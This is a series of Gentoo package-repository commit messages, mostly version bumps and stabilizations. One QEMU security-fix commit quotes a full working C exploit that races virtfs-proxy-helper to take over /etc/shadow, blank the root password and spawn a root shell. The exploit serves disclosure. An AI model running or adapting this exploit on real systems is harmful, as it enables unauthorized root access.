x11-wm/xpra: Version bump.

Package-Manager: portage-2.2.26

sys-libs/libhugetlbfs: version bump to 2.20

sys-libs/libhugetlbfs: make perl support optional #554688

sys-libs/libhugetlbfs: fix D-vs-ED handling

sys-libs/libhugetlbfs: control python usage during testing

The test code uses python, and only supports py2, so make sure the
ebuild expresses those requirements when the default is py3.

sys-libs/libhugetlbfs: do not gzip manpages

We'll handle compressing of files ourselves, so don't waste time on it.

net-mail/mu: Ensure man pages are installed

X-Gentoo-Bug: 567424

Package-Manager: portage-2.2.24

app-emulation/crossover-bin: Bump to 15.0.0

Package-Manager: portage-2.2.20.1
Signed-off-by: Richard Yao <ryao@gentoo.org>

New license: CROSSOVER-3

Codeweavers made 2 changes between this and CROSSOVER-2, the latter of
which we requested:

1. They now claim to bundle copies of libxml2 and libxslt under
BSD-style licenses.
2. The section on deleting the software has been deleted.

This had 6 days on the list for comments and none were provided:

https://archives.gentoo.org/gentoo-dev/message/fd9e05bfe3401ce96dfaa9927f9ebcca

Signed-off-by: Richard Yao <ryao@gentoo.org>

sys-kernel/vanilla-sources: Automated version bump to 4.3.2 - remove old.

Package-Manager: portage-2.2.24
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-php/PEAR-Mail_Mime: alpha/arm/hppa/ia64/ppc64/ppc/sparc/x86 stable, (ALLARCHES policy) wrt bug #567994

Package-Manager: portage-2.2.24
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

sys-apps/systemd: x86 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

sys-fs/udev: x86 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

virtual/libgudev: x86 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-libs/libgudev: x86 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

sys-apps/hwids: x86 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

sys-apps/systemd: amd64 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

sys-fs/udev: amd64 stable wrt bug #568082

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

Merge branch 'pull-469'

Pull request: https://github.com/gentoo/gentoo/pull/469

media-gfx/pinta: revbump to 1.6-r2, removed redundant dependencies

mono-addins with "gtk" USE flag is enough to pull in every Mono
library needed by Pinta

Package-Manager: portage-2.2.24

mysql-multilib-r1.eclass: Adjust documentation comments wrt bug 568240

Signed-off-by: Brian Evans <grknight@gentoo.org>

net-mail/dovecot: version bump to 2.2.21 (#568158)

Package-Manager: portage-2.2.26

dev-db/mariadb: Fix tests due to removed USE flag

Package-Manager: portage-2.2.26

dev-db/percona-server: Fix tests due to removed USE flag

Package-Manager: portage-2.2.26

dev-db/mysql: Fix tests with removed USE flag

Package-Manager: portage-2.2.26

kde-plasma/kdeplasma-addons: Add KF 5.17 compatible 5.4.3 revbump

Package-Manager: portage-2.2.24

kde-frameworks: version bump 5.17.0

Package-Manager: portage-2.2.26

dev-db/sqlite: amd64 stable wrt bug #567998

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/pkg-config: amd64 stable wrt bug #568042

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-php/PEAR-Mail_Mime: amd64 stable wrt bug #567994

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

media-video/mkvtoolnix: amd64 stable wrt bug #562484

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

app-i18n/im-freewnn: amd64 stable wrt bug #566230

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-python/oslotest: amd64 stable wrt bug #568022

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/ruby-ldap: amd64 stable wrt bug #568110

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-libs/libnl: amd64 stable wrt bug #568052

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/ruby-opengl: amd64 stable wrt bug #568114

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

app-emulation/vice: amd64 stable wrt bug #568078

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/rdoc: amd64 stable wrt bug #568044

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

games-util/nml: amd64 stable wrt bug #568074

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

games-engines/stratagus: amd64 stable wrt bug #568076

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/narray: amd64 stable wrt bug #568040

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/ruby-openid: amd64 stable wrt bug #568118

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

app-emulation/xen: amd64 stable wrt bug #566842

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

dev-ruby/rrdtool-bindings: amd64 stable wrt bug #567586

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

net-analyzer/rrdtool: amd64 stable wrt bug #567586

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

app-text/docbook-xsl-stylesheets: amd64 stable wrt bug #568160

Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>

kde-misc/rsibreak: version bump

Package-Manager: portage-2.2.26

media-gfx/symboleditor: version bump

Package-Manager: portage-2.2.26

media-gfx/symboleditor: shorten DESCRIPTION to fit within 80-character guideline

Package-Manager: portage-2.2.26

kde-base: Add >=cmake-3.4 configure fix for KDE PIM

See also: https://bugs.gentoo.org/show_bug.cgi?id=566058
Tested-by: Vadim
Package-Manager: portage-2.2.24

media-video/kamoso: version bump

Package-Manager: portage-2.2.26

www-servers/apache: Raised minimum required version of nghttp2

to version 1.2.1 as reuqested in bug #568224

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

app-text/docbook-xsl-stylesheets: Fixed homepage variable in ebuilds.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

sys-kernel/git-sources: Linux patch 4.4_rc5

Package-Manager: portage-2.2.24

app-emulation/qemu: critical security fix

The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:

~=~=~=~= snip ~=~=~=~=

/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell
 * == Virtfshell - by zx2c4 ==
 * [+] Beginning race loop
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

 #include <stdio.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/inotify.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <signal.h>

static int it_worked(void)
{
struct stat sbuf = { 0 };
stat("/etc/shadow", &sbuf);
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
int fd;
pid_t pid;
char uid[12], gid[12];

sprintf(uid, "%d", getuid());
sprintf(gid, "%d", getgid());

printf("== Virtfshell - by zx2c4 ==\n");

printf("[+] Beginning race loop\n");

while (!it_worked()) {
fd = inotify_init();
unlink("/tmp/virtfshell/sock");
mkdir("/tmp/virtfshell", 0777);
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
pid = fork();
if (!pid) {
close(0);
close(1);
close(2);
execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
_exit(1);
}
read(fd, 0, 0);
unlink("/tmp/virtfshell/sock");
symlink("/etc/shadow", "/tmp/virtfshell/sock");
close(fd);
kill(pid, SIGKILL);
wait(NULL);
}

printf("[+] Chown'd /etc/shadow, elevating to root\n");

system( "cp /etc/shadow /tmp/original_shadow;"
"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
"cat /tmp/modified_shadow > /etc/shadow;"
"su -c '"
" echo [+] Cleaning up;"
" cat /tmp/original_shadow > /etc/shadow;"
" chown root:root /etc/shadow;"
" rm /tmp/modified_shadow /tmp/original_shadow;"
" echo [+] Spawning root shell;"
" exec /bin/bash -i"
"'");
return 0;
}

dev-perl/Pod-POM: Version bump.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

dev-perl/File-Slurper: Initial commit

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

dev-perl/Math-Random-MT: Clean up old.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

dev-perl/Math-BigInt-GMP: Version bump.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

dev-perl/Math-Random-MT: Version bump.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

net-dns/nsd: Bump to versions 3.2.20 and 4.1.7 (bug #541036).

Proxy commit for Tom Hendrikx.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

app-arch/pbzip2: Removed old.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

app-arch/pbzip2: Revbump to fix possible data corruption (#567952).

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

sys-process/numactl: Removed old.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

sys-process/numactl: Bump to version 2.0.11

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

dev-java/rngom: Version bump.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

dev-python/cvxopt: Version Bump

Gentoo-Bug: https://bugs.gentoo.org/show_bug.cgi?id=521210

Package-Manager: portage-2.2.26
Signed-off-by: Justin Lecher <jlec@gentoo.org>

package.mask: Removed mask of apache-2.4.17

Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

app-admin/apache-tools: Removed old.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

www-servers/apache: Removed old.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

app-admin/apache-tools: Bump to version 2.4.18

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

www-servers/apache: Bump to version 2.4.18

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

apache-2.eclass: Fixed broken URL.

Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>

sys-apps/hwids: stable on amd64, bug #568082

Package-Manager: portage-2.2.24

virtual/libgudev: stable on amd64, bug #568082

Package-Manager: portage-2.2.24

dev-libs/libgudev: stable on amd64, bug #568082

Package-Manager: portage-2.2.24

net-p2p/gtk-gnutella: add 1.1.7

Package-Manager: portage-2.2.24

net-p2p/gtk-gnutella: cleanup

Package-Manager: portage-2.2.24

dev-ruby/ruby-oembed: add 0.9.0

Package-Manager: portage-2.2.24

media-libs/libzen: remove old

media-libs/libmediainfo: remove old

media-video/mediainfo: remove old

media-video/mediainfo: version bump to 0.7.80

media-libs/libmediainfo: version bump to 0.7.80

media-libs/libzen: version bump to 0.4.32

sys-devel/gcc: move 5.3.0 into ~arch

app-text/restview: remove old

app-text/restview: version bump to 2.5.2

dev-python/readme: add python3_5 support

dev-python/bleach: version bump to 1.4.2

x11-wm/page: List libraries in RDEPEND and the rest in DEPEND. Fixes bug 562632.

Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>

sys-auth/skey: Use readme.gentoo-r1 instead for eapi6 support (#520094#c6)

Package-Manager: portage-2.2.26

eclass/readme.gentoo-r1.eclass: introduce this revision for adding eapi6 support and explain the people the changes regarding it stopping to export phase functions (#520094#c6)

eclass/readme.gentoo.eclass: force people to use readme.gentoo-r1 for eapi6 support (#520094#c6)

dev-db/mysql: Bump patch version

The missing patch could cause missing build dependencies.
No code changes.

Package-Manager: portage-2.2.26

dev-libs/libcroco: version bump to 0.6.10

Package-Manager: portage-2.2.26

app-text/gspell: version bump to 0.2.2, fix introspection and vala USE flags dependencies

Package-Manager: portage-2.2.26

net-misc/rygel: version bump to 0.28.2

Package-Manager: portage-2.2.26

dev-libs/libgdata: drop old revision

Package-Manager: portage-2.2.26

dev-libs/libgdata: version bump to 0.17.4

Package-Manager: portage-2.2.26